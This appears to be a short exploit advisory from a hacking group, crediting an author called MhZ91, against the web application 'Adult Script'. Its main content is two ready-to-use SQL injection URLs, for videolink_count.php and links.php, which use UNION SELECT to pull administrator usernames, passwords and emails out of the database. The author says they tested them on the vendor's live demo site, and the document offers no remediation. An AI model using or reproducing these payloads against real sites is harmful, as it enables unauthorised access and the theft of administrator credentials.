--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- Multiple Remote Sql Injection --------------------------------------------------------------- # Author: MhZ91 # Title: Adult Script - Remote Sql Injection # Download: http://adultscript.net/ # Bug: Remote Sql Injection # Visit: http://www.inj3ct-it.org --------------------------------------------------------------- http://[site]/videolink_count.php?id=-1+union+select+concat(admin_user,char(58),admin_pass,char(58),admin_email)+from+admin http://[site]/links.php?id=-1+union+select+concat(admin_user,char(58),admin_pass,char(58),admin_email)+from+admin Whit this u get user:password:email in the page of the error or in the url of the browser :D Tested on the official demo site http://adultscript.net/demo/ and it work very good! ---------------------------------------------------------------